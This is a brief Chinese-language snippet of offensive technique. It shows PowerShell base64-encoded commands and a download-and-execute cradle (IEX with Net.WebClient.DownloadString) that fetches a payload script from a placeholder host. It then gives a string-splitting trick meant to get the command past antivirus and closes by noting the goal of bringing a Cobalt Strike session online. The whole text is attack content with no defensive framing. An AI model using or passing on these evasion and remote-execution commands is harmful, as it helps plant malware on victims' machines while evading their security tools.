$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -encodedCommand $encodedCommand

正常执行会被AV拦截

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xx.com/payload/powershell/whoami.ps1')"

bypass

先将命令拆分为字符串，然后进行拼接

powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='11(''http://xx.com/payload/powershell/whoami.ps1'')'.Replace('11','adString');IEX ($a+$b)"  

上线cs
